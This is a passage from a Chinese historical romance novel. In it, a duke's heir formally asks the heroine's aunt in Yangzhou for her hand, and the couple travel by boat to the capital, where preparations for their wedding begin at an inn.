不!是苏氏在扬州多年,势力盘根错节,牵一发而动全身,而只有他们大房无所依仗,才忍住没有下手。 如今,这厮给了各房釜底抽薪的一击,虽然算是彻底解决了大房被觊觎的困境,但只要事发被各房发现端倪,他们睚眦必报,定会伺机报复。 姨母是女子有许多不便,与州府的各官员自然不如苏氏其他几房亲近,要想避祸,她们就必须和晏国公府捆绑在一起。 纪云瑟满脸怒意,拍案而起,就要起身离开,行至男子面前时,被一只大掌捞了过来,跌入他的怀里。 纪云瑟也不跟他客气,用力推了过去,却听他“嘶”了一声。 纪云瑟: “…你不是没有受伤么?” 晏时锦强行搂住她: “内伤……” 她强忍忿闷,停下没有再动,他轻叹一声: “生气了?” 纪云瑟带着怒意看向他: “其实你根本不需要做得那样绝!” “离间计就足够了,他们各自为政,自然瓦解。过了这一关,姨母身上大好,断不会让他们得逞!你这样,分明是为了……” “可我不允许任何人欺负你。” 晏时锦一句话打断了她, “有我在,绝不会让你有任何可能存在的欺辱和险境。” 纪云瑟冷冷扫了他一眼: “但我不需要!” 她不需要这厮打着护她的旗号,将她关在笼子里! “我也不可能一直躲在你的羽翼之下,从前的十几年,我都是这么过来的,以后也不需要你再干涉!有人欺负我,我可以自己想办法反击!” 晏时锦覆唇过去,将她未发泄出来的怨气堵回口中,却不搀杂什么欲望,待她不抗拒后便分开,罕见的温柔。 他道: “我知道,你素来不喜约束。” “我答应你,以后我做什么事,若是与你有关的,定会提前与你商议。” 纪云瑟咬唇看着他,不发一言。晏时锦见她已然冷静下来,握着她的手,摩挲着她的腕骨,道: “苏氏的事,没有你想的那样简单。并不是解决了眼前的认嗣一事就能高枕无忧。” “趁我在扬州时,一劳永逸,他们日后就不会再找你们的麻烦。” 他们长房就苏滢和纪云瑟两个女子,苏滢的经商之才固然不可小觑,但晏时锦深知她做为女子,有很多行事不便之处,况总归有些妇人之仁,焉知斩草不除根的后果。 气氛略微缓和,晏时锦抱住她,头靠在她的肩头: “我昨日一夜未睡,今日一日不曾用膳,你能不能心疼心疼我?” 纪云瑟眨了眨眼睛,难以置信地看着素来威冷森厉的高硕男子如今小鸟依人般靠在她身上。 其实,事到如今,她也并不是有多排斥与他捆绑一起,只是,他不该什么都瞒着她,私下安排好一切,让她别无选择,被迫接受。 少女扯了扯唇角,终是说道: “你确定,以后有什么事都会先与我商议?” “不再牛不喝水强按头了?” 晏时锦抬起头,捏着她的下巴,笃定道: “不会强按。” 纪云瑟撇了撇嘴,“嗯”了一声,却听他道: “但是,你的面前,永远只有我这一碗水。” 纪云瑟: “……” 在少女出手之前,男子预判性地握住了她的粉拳: “别打,真的有内伤!” 纪云瑟皱眉,拉开他胸口的衣襟朝里打量: “伤哪儿了?” “被什么打的?” 晏时锦抓住她的手贴在自己的左胸: “被卿卿责骂,伤心了!” “……” 纪云瑟无端起了一身鸡皮疙瘩,没好气地推开他,起身欲走,又被他紧紧箍住,道: “我已对卿卿坦白了一切,卿卿是不是也该跟我实话实说?” 纪云瑟愣了愣: “……说什么?” “我何时骗过你?” 男子埋入她的颈窝,轻啄了一下她的耳垂,一字一顿道: “昨夜,卿卿如此主动要与我圆房,没有别的目的?” “……” 纪云瑟脸颊被他呼出的热气熏得滚烫,轻咳了几声,道: “什…什么目的?” “你…胡说!” 晏时锦却不想与她弄什么旁敲侧击的一套,直言道: “不会是想去父留子吧?” 他只消稍微想一想,就能猜到,他们苏氏长房如今最大的麻烦就是没有子嗣,苏滢整日忙碌恐不得空,且她做为掌舵人只怕也不方便有孕,这番重任便交给了纪云瑟。 这姑娘是把主意打他身上来了,他也不知是该气,还是该庆幸。 若不是他恰好在江州找到她,她是不是就已经找别人生子了? 男子箍着她的力道又重了几分,纪云瑟瞳孔微缩,想不到这都能被他猜着!她勉强扯着唇角吐出几个字: “…都…不知道你在说什么!” 晏时锦啄了啄她的耳珠儿,伴着温热的气息滑出低哑: “没有最好。” “你放心,我们回京城行礼之后,自然会圆房。” “不着急。” 纪云瑟咬了咬唇: “……” 她攥紧了拳头,没好气道: “放开我!” 晏时锦的手臂纹丝不动: “要去哪儿?” 少女一面挣扎,一面定了定神,咬牙切齿吐出几字冷语: “给你传饭!” “你想吃什么?我去让他们做!” 男子的唇瓣吻了过去: “你说呢?” ~ 苏滢第二日收到了晏国公府世子送来的正式的拜帖。 她十分诧异地接过: “拜帖?” 这人在她家都住了好几日了,装模作样地递什么帖? 堆金道: “今日,晏世子会正式登门拜访。” 说罢,她附在苏滢的耳畔轻语了一番,苏滢蹙眉看过来, “他这是……” “公开身份?” 扬州的盐茶税已经查出了眉目,苏滢知晓内情,便猜到了那位秘密的钦差,就是晏时锦。 此番他公然登她苏宅的大门,是否有公务上的缘故苏滢不甚清楚,但绝对是想给苏氏各房一个警告,她苏滢的外甥女婿,是堂堂国公世子。 她久浸商场自是通情达理,别人给了她这么大的好处自己定要心存感激,至于他有没有其他的目的,轮不着她计较。 积玉瞅着她的神色,给她挑了庄重素雅的一身竹月色衣裙,梳了显得沉稳的圆髻,选了一套淡金点翠的头面。 洗漱完毕后,小婢女已经摆好了早膳。从前,苏滢都是天一亮就起身忙各种事务,只是这几日休养,便懒散了些,至辰时方起。 她一面用膳,一面听堆金说各处铺子的经营近况,这时,田管事来禀: “二小姐,小姑爷……” “…晏国公世子到了。” 积玉正要端茶过来让苏滢漱口,却听她道: “准备茶水果子,请他至正堂稍候片刻。” 积玉瞪大了眼睛,苏滢扫她一眼: “今日这道鲜虾鲍鱼粳米粥不错,明日再让她们做。” “再配些糟腌的脆笋和鹅掌。” 那位爷今日是以瑟瑟未来夫婿的身份上门,她自然得摆出女方长辈的谱来,国公世子又如何? 她的外甥女也是金尊玉贵他们苏氏当宝贝儿一样养大的姑娘,天姿国色的又不愁嫁,万不可被人小瞧了去。 二则,她也想看看那位爷的反应,试试他究竟是个什么人物。 当苏滢用过早膳,迈着十分生疏的内宅女子的细碎小步,行至正堂时,距离田管事来禀报,已经约莫过去了两刻钟。 正堂外的院内堆了几个大箱子,田管事悄悄递上礼单: “这些是晏世子上门的见面礼。” 苏滢瞥了一眼,一行人跨入门槛。 积玉不是日日跟这位小姑爷有照面,只见过他一两回,且他每次都是戍卫兵的打扮,已是能感受到他身上的矜贵气质。 今日见他忽的换上了世家公子哥儿常穿的锦缎华服,配着蹀躞带,不由得暗暗惊叹这位爷的天人之姿,坐得端直板正,样貌形态无可挑剔。 晏时锦起身颔首: “苏二小姐。” 苏滢亦被这位顶级门阀家的世子爷的优越相貌震撼了一瞬,毫不避讳地上下打量了一番,方在主位坐下,客气一笑: “晏世子有礼,久等了,请坐。” “怠慢之处,还望见谅。” 感觉到她审视的目光,晏时锦面上没有丝毫异样,依言落座后,恭敬道: “二小姐客气了。” 苏滢对他的初印象算是不错,她虽不算是阅人无数,但看过的男子不少,见他眼神坚定, 神色自若,便知他是个内敛持重之人,与高粱纨绔扯不上什么关系。 而且,他身为皇帝的亲外甥,大缙朝最尊贵的国公世子,她故意晾了他许久,却不见他显出任何不耐和愠意,算是有涵养,沉得住气。 晏时锦饮了一口茶后,率先开口: “今日晚辈冒昧来访,是因晚辈心仪云瑟,您是云瑟最看重的长辈,特来拜会。” “再向您禀明,晚辈两日后需回京城,云瑟已经允了与我一同回去,行礼成婚。” 开门见山,丝毫不拐弯抹角,且一口一个晚辈,全然没有以势压人以世家自居的傲慢,反而恭逊有礼。 苏滢心中又对他刮目了两分,但瑟瑟是她最心爱的外甥女儿,是长姐唯一的骨血,也不能轻易说予就予的。 她慢悠悠地饮了一口茶,也直截了当道: “可是,瑟瑟她不喜欢京城。” 她不信晏时锦会不知道,毕竟,当年她可是费尽心思才逃了出来。 晏时锦早料到了苏滢不会是个好说话之人,但在这件事上,他亦不想跟她玩什么心眼,只道: “云瑟从前在章齐侯府受了不少委屈,晚辈亦是之后才知晓。” “二小姐放心,有晚辈在一日,定会护她周全。” 他言语真诚,苏滢却没有打算轻易放过,淡笑一声道: “国公府门禁森严,世家贵族规矩甚多,我家瑟瑟委实高攀不上。” 晏时锦直言道: “不瞒二小姐,当日,我家长辈和纪侯早已做主定下我二人婚事,不存在高攀一说。” 苏滢端过手边的茶碗,轻轻吹去茶沫子,慢悠悠地饮了一口,道: “况瑟瑟好不容易自由,实在不必再去受那等禁锢憋屈之累,更不能让她重蹈我长姐的覆辙。” “她留在扬州,我自会好好养着她。” 晏时锦抬眸瞧了她一眼,这是他第一次见纪云瑟的这位姨母,年岁不大,却已在商海叱咤多年,商场不同于官场,对商人而言,最能让他们动心的除了利润大,还要风险小,有退路。 他似早有准备,道: “二小姐怕是不信晚辈,怕我日后怠慢了云瑟。” “对此,晚辈知晓任何言语的保证都是枉然,以我的所有身家为聘怕是苏氏也不大瞧得上。” “但晚辈有一件特别的聘礼交与二小姐,您只需看过,便知晓晚辈的真心。” 他看了一眼身旁的紫电,紫电会意,将手中一直捧着的小匣子奉上,积玉躬身接过,递给苏滢。 苏滢的目光扫过态度恭谨,神色淡然的晏时锦,将匣子打开,细细看了一眼后,惊了一瞬,便知这位世子爷心意已决。 真是个狠角色! 又不禁为纪云瑟捏了一把汗,她这外甥女儿究竟招惹了一个怎样的人? 她捏着匣子内的纸张半晌,终是微不可察地叹了口气。 罢了,他既有这份诚意,想必也不会苛待了瑟瑟。 苏滢面上不置可否,只是淡淡吩咐积玉收好,道: “世子虽有此心,但一切还要看瑟瑟如何想。” 顿了顿,她道: “我尊重她的决定。” 晏时锦起身,微微躬身颔首: “多谢二小姐成全。” 他客气告辞,带着一行人离开。所有差事办妥,他已公开在扬州露面,再住苏宅并不方便,只能暂居在道府给他安排的驿站中。 苏滢并未起身相送,她犹自坐了许久,将盖碗中的茶饮毕后,方往纪云瑟的院子走去,积玉明白了她的意思,抱着小匣子跟在其后。 纪云瑟刚去找了沈绎,问到苏滢已经好全,又拜托他给苏滢留下一份补身子的药方后,回到自己的小院,正好看到苏滢过来。 “姨母?” “您怎么过来了?” 苏滢拉着她的手,一路进入房中,别具意味地看着她道: “你说呢?” 晏时锦已经跟她说过,今日会正式登门见姨母,纪云瑟躲闪着目光,道: “他…走了?” 苏滢拉着她,二人在罗汉床上坐下,突然有些恍然,她想起了二十年前,一直疼爱照顾她的长姐远嫁,她只是个七岁的孩童,尚不懂分离的意义,直到许久不见长姐归家,不知是几日,还是一个月,几个月,她才明白,长姐真的离她远去。 再见长姐,是她和父亲去京城奔丧,看到的静静躺在棺材里的再无生气的人儿。 她哭过、闹过、怨过,恨父亲为了那虚无缥缈的名声害死长姐,她再不听父亲的话,也听不进任何人的话,整日活得如同擒了反叛的贼王。 到了议亲出嫁的年纪,吓跑了一众上门求亲之人,无人敢娶,她却自鸣得意。 直到有一日,父亲把纪云瑟接了过来,看到瘦瘦小小与长姐一个模样的小姑娘出现在她面前,她突然收敛了性情,像长姐当年照顾她一般,照顾长姐唯一的骨血。 一眨眼,小姑娘已经长成了眼前花容月貌的大姑娘。 苏滢忍下一阵潸然,摸着她的脑袋,温声问道: “你愿意跟他回京城么?” “若是你不愿,姨母会想办法,让你留在扬州。” 纪云瑟垂眸,也不再扭捏,道: “我跟他回去。” 说不上来出于哪方面的考虑多一些,但现下她的心境告诉她,该回去了。 “姨母,您答应他了么?” 苏滢笑道: “傻瓜,一切看你的选择,不管你想怎样,姨母都会替你想法子周全。” 她想了想,还是吩咐积玉把小匣子拿过来,放到纪云瑟的手上,道: “这是你那未婚夫婿给的聘礼。” “我觉着,还是交给你保管合适些。” 纪云瑟一阵诧异: “聘礼?” 苏滢捏了捏她的小脸,看着匣子若有所思道: “不错,可要看好了。” “这份聘礼不简单呐!” 纪云瑟尚有些愣神,苏滢抚着她耳边垂下的青丝,似有十分不舍地叹了一口气: “我的瑟瑟,也要嫁人了!” 场景莫名与记忆的一部分重叠,但又分明不一样,苏滢搂着她的肩,道: “就算他们是国公府,瑟瑟也不必委屈自己,若真过不下去,别勉强,回来找姨母。” 纪云瑟自然明白,姨母不是咒她不好,而是给她留着后路。 她顺势抱住了苏滢,道: “姨母若真舍不得我,陪我一同去京城才是正经!” 苏滢抚着她的发髻,出乎意料地答道: “好,我亦正有此意,不若去京城看看,有什么更好做的生意。” 送走了苏滢,崇陶和效猗自觉地开始整理箱笼,她们自知日后回扬州的几率不大,便想着把自家姑娘喜欢,从前因顾虑纪府那些腌臜事而没敢带去京城的小玩意,这回一并带过去。 循着自家姑娘的意思,一同收拾了许久。 直到晚间沐浴后,纪云瑟才想起姨母给她的那个小匣子,神神秘秘的,却一直没来得及看,她去找了出来,接着案桌上的烛火打开,拿出里面的一张张纸笺,细细看了看,一下呆愣住。 第92章 楼船等在渡口,扬州各府衙的官员来送行时,晏时锦早已上了船,所有的目的已经达成,他也用不着与他们虚与委蛇。 纪云瑟托 腮看着窗外的滔滔江水,被船身破开两道白色的波涛,想到当日离京时似笼中放飞的雀儿的新奇和兴奋,对比如今重返牢笼的无奈,忽的有些怅然: 她这番折腾到底是为了什么? 一旁坐着的沈绎见她微微叹气,瞧出了她的心思,端起手边的茶碗轻轻吹去浮沫,弯了弯唇: “怎么,临阵退缩了?” “这倒不像你的性子。” “退缩谈不上,烦闷倒是真的。” 纪云瑟摆摆手,转过了身子,道: “不说这个,夫子您还是回宫么?” 沈绎饮了一口茶,点点头: “我丁忧之期已过,蒙太医署不弃,让我复职。” 纪云瑟面露几分歉疚,抬手为他添上茶,道: “若不是因我的事,夫子您留在太医署,以您的医术,恐怕早已升任院使了。” 沈绎指尖在茶盏边轻轻点了点,道: “我早已说过,出京是因其他缘故,与你无关。” 他忽的转开话题,道: “皇后娘娘有孕了,此番回去,太医署有意让我照看娘娘母子。” 纪云瑟倒是一下听明白了: “您是说,皇后这回怀的是皇子?” 沈绎颔首。纪云瑟为孙雪沅高兴的同时,又突然有了几分担忧,若是雪沅腹中孩子的性别已经传到了她耳中,那不是整个皇宫都知晓了? 她想到夏贤妃的手段,心中一紧。沈绎看出她的心思,道: “你倒是可以不必担心,事关嫡子,陛下早已有妥善安排,何况……” 他看了纪云瑟一眼,没有继续说下去,纪云瑟并不在意,永安帝看重雪沅,定然把她当宝贝一般捧在手心里,夏贤妃想要害人,也没那么容易。 她看着眼前清润俊逸的男子,挑了挑眉,笑道: “说来,夫子年纪也不小了,还不打算娶妻么?” 沈绎被她猝不及防地一问,差点呛了口水,侧头咳嗽不已,纪云瑟只当他羞赧,继续道: “如今,您在太医署得陛下重用,也算是事业有成,不必再等了吧?” “您喜欢什么样的?我还算认识许多京城里的姑娘,您跟我说一说,我好给您寻摸寻摸?” 沈绎无奈搁下茶碗,起身道: “我突然想起一个方子,需回房记下来。” 纪云瑟没想到这位夫子一说起这事,竟然耳朵根都红了,也不敢再多说,捂着嘴笑了两声,起身相送。 屋外站着紫电,自沈绎进了这屋子后,提起的心就没放下来。 那次从江州上船,夫人私自叫了沈绎同行,他得知时已经无法阻拦,也来不及与自家主子说,主子知晓后,虽面上没有责怪他这个负责总管安排返程一事的属下,但到了扬州之后,所有的粗活累活都是让他去干的。 青霜和赤霄每日闲得翘脚,他却忙得脚不沾地,连喘息的空档都没有。 刚刚,紫电就是看到沈绎又进了这间厢房,特地过来门外守着。 此刻,他虽知晓夫人的两个婢女都在里面,但听着屋内传来的欢声笑语,还是免不了头皮发紧。 果不其然,楼梯上响起了沉稳的脚步声,一角玄色衣襟出现在走廊尽头,愈行愈近,紫电忙低头垂手,恭敬地立在门边。 男子步至门前,目光扫过他,冷峻的面容不带一丝表情,刚欲抬手推门,就撞见沈绎出来,两人目光交汇,沈绎微微颔首,径直离去。 晏时锦却被他耳后的一圈红闪入了眼帘,愣了一瞬后,步入房内。 崇陶和效猗能把沈绎当成家人,毫不避讳地与他同处,在自家姑娘身边待着随意做些什么,但一见到这位姑爷,便如同避猫鼠儿一般,立刻行了个礼逃之夭夭。 紫电悄然关上了门,见该来的人来了,该走的人走了,方松了一大口气。 他行至楼下的值房,刚沏壶茶准备休息片刻,青霜进来看见他,诧异道: “船都要开了,你怎的还没走?” 紫电一脸疑惑: “我去哪儿?” 青霜将佩剑放在茶桌上,就着他刚泡好的茶饮了两杯,道: “赤霄没有转告你么?主子的意思,咱们上京是逆水而行,水路慢,让你去驿站寻个千里马先行回京。” 紫电更加不解,青霜只得附在他耳畔说清原委,见他一副为何又是他的神情,拍了拍他的肩膀,道: “你素来最得主子器重,这样的大事不交给你,主子能放心谁去做?” 紫电: “……” 他就知道,那件事没那么容易过去! 纪云瑟依旧是坐在窗边看着江水,和岸上后退的山林,偶尔能见到有小舟被江水推着缓缓前行,见他进来,并未挪动,只道: “你忙完了?” 晏时锦在她身旁坐下,随口道: “你那两只狗呢,没带来?” 纪云瑟不知他怎的又扯到这个,略有所思道: “我想着它们并不受欢迎,便留给了姨母,让积玉照看。” 到时候,她就多了一个理由找机会回扬州去。 晏时锦挑了挑眉: “谁说它们不受欢迎?” 真正不受他欢迎的另有其人,也并未见她考虑他的感受,毫不避讳地与人同处一室,相谈甚欢。 纪云瑟不欲跟他讨论这些没用的,也不曾发现他情绪有什么不对,在案几上的果碟里拣了块凉糕,小口小口地吃着,又饮了一口茶,终是忍不住,问道: “到了京城,你准备把我安置在哪儿?” 晏时锦见她脱下鞋袜,十分放松随意地两只玉足勾起,自然地屈坐在长椅上,原本拧紧的眉心松了松。 到底还是有区别的,她在沈绎面前,从来都是正襟危坐,乖得像只猫儿。 况她这番问话,就是根本没考虑回章齐侯府,而是打算跟着他。 纪云瑟见他不回应,侧头看了过去,在他微勾着唇角的沉默中读出了几分其他的意味,不可思议道: “你不会要……” “我可不是你的外室!” 他口口声声说他们已有夫妻之名,总不至于随便找处宅子安置她吧?她才不会让人金屋藏娇! 晏时锦在她身旁坐下,拿过一旁的绢帕替她擦了擦唇角,嗤笑一声: “你想什么呢?” “你是我妻子,自然与我一同回国公府。” 他去取了文房四宝过来,将案几上的茶水糕点先移至一旁,铺上纸张,开始沾墨提笔,道: “我先与你说一说家中常见的人。” “想来,女眷们你已经见过一些,就算没有什么印象也无碍,到时我会陪着你,再与你一一介绍。” “今日,不过是先有个准备。” 他立马提笔开始写,将所有长辈的姓氏称呼先写了一遭,因他是长房长孙,故而同辈的写的是名讳, “如今居国公府的就是我父亲,几个叔叔不与我们同住,各自立了府。我先与你说一说我的几个亲弟弟。” 纪云瑟听说过晏国公府枝繁叶茂,但也没想到茂成这样,默默咽了口水。 晏家素来嫡庶长幼有序,承继的都是嫡长子,如今尚在的老国公晏起就有兄弟五个,现任的国公爷晏徇也有兄弟四人,除了庄氏所生的三个,还有一个是庶出的小弟。 而晏时锦自己,更是兄弟六个,除了晏徇的继室万氏所生的老二老三,还有与老三年纪相仿的庶出弟弟老四和老五,和另一个只有十二岁的老六。 如今,除了幺弟外,其余几个均已成婚,也就是说,纪云瑟一进门,先要面对一个难缠的老祖母,摸不清情况的婆母和四个弟媳。 后宅一堆女人,每日能唱出多少台戏来? 她挎下脸,抱着一丝侥幸,道: “你祖母,好似还没答应我俩的亲事吧?” 晏时锦搁下笔,扫过她眸中的抗拒,立刻给她泼了一盆凉水: “两年前你‘偷跑’之后,就已经同意了。” “何况,这次寻到你之后,我已经 给家中去了信。” 他派去的暗卫亲自将书信交与了晏起和庄氏,晏徇亦在场,回来复命时将几人的言行详细报于了他。 庄氏自然是震惊之余,头疼不已,原本以为,纪云瑟“身死”,晏时锦经过些时日自然就会放开,再遇到更好的姑娘,便会忘却往事,重新开始,却从未想过还有“人死复生”的奇闻。 更不可思议的是,两人竟然还会偶遇! 她一把年纪了了,根本不相信那些什么天定缘分,什么命中注定,多半又是她那个心机深沉的长孙弄的鬼。 在晏起和晏徇的劝说下,庄氏终是没了脾气,也不发一言,扶着婢女的手颤颤巍巍地回房,晏徇亲笔回了信,让晏时锦好好把人带回来。 纪云瑟想起了这厮的“妻礼扶柩”,仿佛又瞧见了那张大网向她罩过来,她如同一只鱼儿,不管往哪边游,都是在网里,逃脱不得。 晏时锦一手揽住她的腰,颇有耐心地点了点纸张,上面画着整整齐齐的一张树样图,和密密麻麻的姓氏称呼,复而执笔: “来,继续。” 说到他刚成婚的三弟媳妇成氏,纪云瑟颇具意味地侧眸看过来: “我怎么记得,成国公府的大小姐,是贵府老太太给你相的?” “怎么又变成你三弟媳了?” 晏时锦刮了刮她的鼻尖: “什么贵府?” “那是咱家!” 待对上她质问的目光,又毫不心虚地问道: “你怎知有这事?” “原来,你那时已经十分关注我了!” 纪云瑟: “……” 她双手撑在腰上,一副质问某人倒打一耙的架势,转动身子间,掩在裙摆下的玉足不安分地露了出来。 晏时锦一把将人儿抱在自己腿上,抬手覆上她的脚踝,轻轻捏了一把: “祖母在那年寿宴的确有意让我与成大小姐相看。” “若不是有人那日故意摔入我的院子里,勾着我拖住我,只怕我与那成大小姐,已经…鸾凤和鸣了……” 纪云瑟双手搭上他的肩,语气轻飘飘: “……现在也还来得及。” 少女说话间,衣袖滑落,露出一截瓷白手臂,将另一只脚也埋入了他的掌中,轻语道: “况我瞧着,你家那位三郎倒是不错,相貌绝佳就算了,看着还温顺听话。” “不如换一换。” “我就喜欢听话的……” 余下的话再也说不出,晏时锦恶狠狠地吻住了她的双唇。初经情事,又是分别两日不曾见美人面的男子,怎经得起撩拨,旖旎蔓延,长椅上只剩两件外衫,飘落在精致的绣鞋上。 这一路风平浪静,就是有些无趣,幸好楼船够大,活动不受限制,也能偶尔到甲板上吹风看景。 纪云瑟原本打算磨着晏时锦在中途找两处渡口停一停,上岸逛逛,但很快没有了兴致。 晏时锦看了几封邸报,和青霜议了事后,效猗过来恭敬回说姑娘已经睡下,哪儿都不想去,不必靠岸了。 晏时锦闻言立刻去瞧她,果然见她神色恹恹地侧躺在床上,面色有些苍白,他吓了一跳,摸着她的额头,道: “怎么了?” “是不是昨日出去吹风,冷着了?我去把沈绎找来,给你瞧一瞧!” 纪云瑟拉住他,道: “不用。” 见他一脸焦急,忙细声道: “是我小日子来了。” 她虽然不会肚子疼,但每到这时都会觉着头晕,浑身酸软没有劲。见他似有些不明白,只得又叹着气,道: “就是葵水。” 晏时锦自然不知晓女子们私下里如何叫那个,但身为一个成年男子,葵水总是听说过。且不知在哪册书中看过,女子每个月的那几日,会有些身子不适。 他坐在床榻边,握住她的手,道: “哪里不舒服?” “要吃些什么,或是做些什么才能好受些?” 纪云瑟摇摇头: “忙你的去吧,不用管我。” “我睡一会儿就好。” 崇陶已经敲门进来,她将托盘放下,道: “姑娘,姜枣红糖茶已经熬好,您趁热喝了吧。” 纪云瑟起身,微微吹凉后,一口饮尽,崇陶看了一眼她身旁端坐不动的晏时锦,还是小声询问道: “姑娘,可要奴婢帮您揉一揉肚子?” 晏时锦闻言,俯身道: “我来帮你揉。” 崇陶见此情景,只得收拾了托盘退下。 一只大掌伸入被窝里,纪云瑟无奈将他的手放在正确的位置: “这里,轻一点。” 幸好他的手掌宽大,隔着衣料也能感觉到热度,纪云瑟好受了一些。晏时锦见她面色已褪去苍白,放下心来,随口问道: “何时能好?” 纪云瑟咬了咬唇: “五日。” 男子转了转眼珠,似脑子里在算计什么,片刻后道: “正好,不影响。” 因为,他们恰好在那之后的第六日一早,抵达了通州渡口,下船换乘马车回京城。 纪云瑟当日赶赴通州时是骑马抄的山间小路,只用了几个时辰,如今正儿八经地从官道回去,路上不耽搁的话,也得至晚才能到。 大晚上的,她倒要看看,晏时锦怎么带她回府。 果不其然,进入城门时,天色已经暗了下来,沈绎骑着马与她道别,径直前往顺贞门。 赤霄在前方引路,崇陶深深叹了口气,自从船上下来,姑爷就不见了人影,只留了几个侍卫,让自家姑娘听从赤霄的安排入京,这大晚上的,他们一大群人带着几大车行礼,都不知如何安置。 总不会让她们回章齐侯府吧? 当日她们那样逃出来,如今灰溜溜地自个儿回去,她咽不下这口气。 但看自家姑娘自若的神色,到了嘴边的问话又深深咽了回去。 不多时,赤霄在马车外说道: “夫人,已经到了。” 崇陶掀开车帘,却见是京城里最大的客栈,如意居,只能算是稍稍舒了口气。 不比两个婢女的愁眉苦脸,纪云瑟倒是一点儿也不慌,她已经想明白,自己是“死”过一次的人,此番返京,也是被某人死皮赖脸威逼利诱着“复生”回来,该操心如何安置她的应该是晏时锦。 她便踏实做个“小娇妻”又何妨? 马车停在院内,掌柜的亲自过来相迎: “夫人一路辛苦了。” “世子已经将小店全部包下,您可以安心在此休息。” 赤霄早已命人入内打点,又吩咐几个暗卫: “东西不必都搬下来,只拣夫人要用的送入房中。” 纪云瑟便明白,他们不会在此久住,不过一两日而已。 赤霄向纪云瑟躬身道: “世子今日尚有公务要忙,何况明日就要……” “恐不便过来,夫人您早些休息。” 纪云瑟没计较她的吞吞吐吐,微微颔首,与崇陶效猗跟着掌柜的步入客栈中,早已收拾妥当的一间天字号房。 沐浴完毕,她坐在梳妆台前,崇陶为她梳发,纪云瑟百无聊赖地翻开镜前的妆奁,里面准备了许多支珠花,有许多颜色和各种花鸟图案,不算名贵,却胜在巧思。 就连这间客房的布置,也甚得她心意。房间宽敞,湢室恭房一应俱全,架子床和橱柜等家具都是清一色的老酸枝,古朴素雅,三脚鎏金炉里燃着她喜欢的苏合香,四个角落摆着冰鉴,铺着绣巾的月牙桌上搁着几碟新鲜瓜果。 从前,她并未住过客栈,突然想起在扬州临走时,苏滢与她说的话,叫来效猗,道: “你没事跟掌柜的打听打听,这样一间客栈,若是盘下来,得花多少银子。” “再问问每日的客源有多少,你得问详细一些,比如,他这儿分了天字号房,玄字号房、地字号房,价格分别是几许,各有多少客人入住。” “还有,我瞧着大堂那儿摆满了桌椅,应当也是提供酒食的,问问每日光是来用膳的客人又有多少。” 从前的悦椿楼盘出去了,她是十分 不舍的,如今再回京城,苏滢给了她不少银两,让她瞧着有机会投出去,盘个铺面什么的,她便琢磨着再干点其他的营生。 开间客栈就不错。 京城是天子脚下,来往的官员、商贩众多,若是再想些与众不同的巧思,或许是条赚钱的路子。 效猗愣了愣神,不明白自家姑娘都什么时候了,竟想着做生意,一旁的崇陶快人快语,道: “姑娘,您还有心情想这个呢!” “姑爷他……” “他没说何时来接您么?” 不远千里把自家姑娘哄了来,一到京城人却不见了,真是见鬼了! 纪云瑟慢悠悠道: “不接就不接。” 又催促效猗: “快去呀!正好今日掌柜的只接待咱们,有空闲,你多问两句。” 她自己也不闲着,找了个店小二,让他带着自己将整个客栈所有客房都看了一圈,对于家具器物的种类和价格有些数的她,便大概弄清楚了若是自己购置,得花多少银子。 这番一折腾,纪云瑟回来躺在床上,话本尚未丢开手,就睡着了。 第二日,她被崇陶唤醒,抬眼看了看窗外的日头高,有些不耐烦: “这么早叫我做甚?” 崇陶一脸复杂的神色,门外似听到屋内的动静,有人道: “禀夫人,老奴奉世子之命,前来服侍夫人梳妆更衣。” 纪云瑟尚在迷糊间,问道: “是谁?” 崇陶扯出一抹笑: “奴婢把她唤进来,让她跟您细说吧。” 纪云瑟狐疑地看了她一眼,起身趿了鞋,道: “进来。” 门被从外推开,先进来了一个中年妇人,纪云瑟仔细一看,记起是晏时锦院子里的陈嬷嬷,她躬身请了个安,笑道: “夫人,今儿个乃大喜之日,世子特让奴婢过来帮着伺候。” 说罢,在纪云瑟怔然的目光中拍了拍手,端着托盘的一行婢女们鱼贯而入,纵是这间天字号房颇为宽敞,此刻,也被挤满了人。 纪云瑟被婢女们手中盖着的清一色的大红绢帕晃了晃眼,有些呆愣地吐出两个字: “大喜?” 陈嬷嬷笑道: “大婚虽在傍晚,但按礼数,夫人您一早就要开始准备。” “开脸、沐浴,穿衣、梳妆,都费着工夫呢。” “世子爷先进宫面圣,祭告了太后娘娘,再去祠堂告知祖先后,便会亲自上门迎亲。” 纪云瑟惊了惊,这是跳过了所有的议亲流程,一步到位呐! 第93章 婢女们手中的托盘一个个掀开,翟冠、蟒服和霞帔,在一片大红的映衬下,宛如火焰般炽烈,远远的就能看出精致繁复的绣工,铺翠圈金,镶嵌着珍珠宝石。 蟒服霞帔铺展在床榻上,崇陶和效猗瞠目结舌,纵是她们这两年跟着自家姑娘挥金如土,购置了许多名贵料子和苏绣的衣裳,也见过江州的绸缎庄为官眷缝制的不少华服,但眼前这等工艺,依旧让她们惊得说不出话来。 短暂的讶异后,纪云瑟倒是很快平静下来,晏时锦为了寻她把她带回京城,可谓是机关算尽,何况有“妻礼扶柩”这种离谱的事在前,这般费心给她个婚礼算得了什么? 她坦然接受。 崇陶和效猗不知如何给新娘子装扮,这番重任自然落在陈嬷嬷身上。她先吩咐了上早膳,让纪云瑟吃饱些,若是换了婚服,上了妆,就不便再吃东西了,得熬到晚间入了洞房。 纪云瑟正喝着米粥,听她提及洞房,不小心呛了一口,捂着嘴咳嗽起来。 陈嬷嬷忙奉上了茶,笑道: “世子约莫未时末来迎夫人,申时回府。他特地吩咐老奴告诉夫人,莫要怕,一切有他在。” 因纪云瑟是在客栈,故而很多礼数都省了,陈嬷嬷也没有催她,让她慢慢用了早膳,才与她细说婚礼的流程: “夫人不记得亦无妨,有喜娘陪在侧,要做什么会随时提醒您。” 纪云瑟听她说得详细,的确觉得仪式十分繁复,但她也知晓,越是繁复,说明夫家越是看重。 她又吃了个水晶虾饺,点头应了一声“好。” 陈嬷嬷看出了纪云瑟的紧张,怕她吃太多了反而会不适,便吩咐婢女过来预备着先开脸。 她唤了门外的一个身着锦缎华服,身材微胖面容和善的中年妇人进来,道: “这位全福嬷嬷的手艺不错,一点儿都不疼,夫人尽管放心。” 全福嬷嬷的人选本就苛刻,要父母公婆均在世,夫妻恩爱,儿女双全之人,更何况自家世子还额外提了要求说不能弄疼了夫人。 幸好紫电提前回来交待这些事,否则,陈嬷嬷操办这些,头发都得再熬白一圈。 全福嬷嬷躬身行了个礼,让崇陶端了水进来,小心给纪云瑟洗了脸,涂上一层特制的香粉,再用一根细棉线,利落地修理起来。 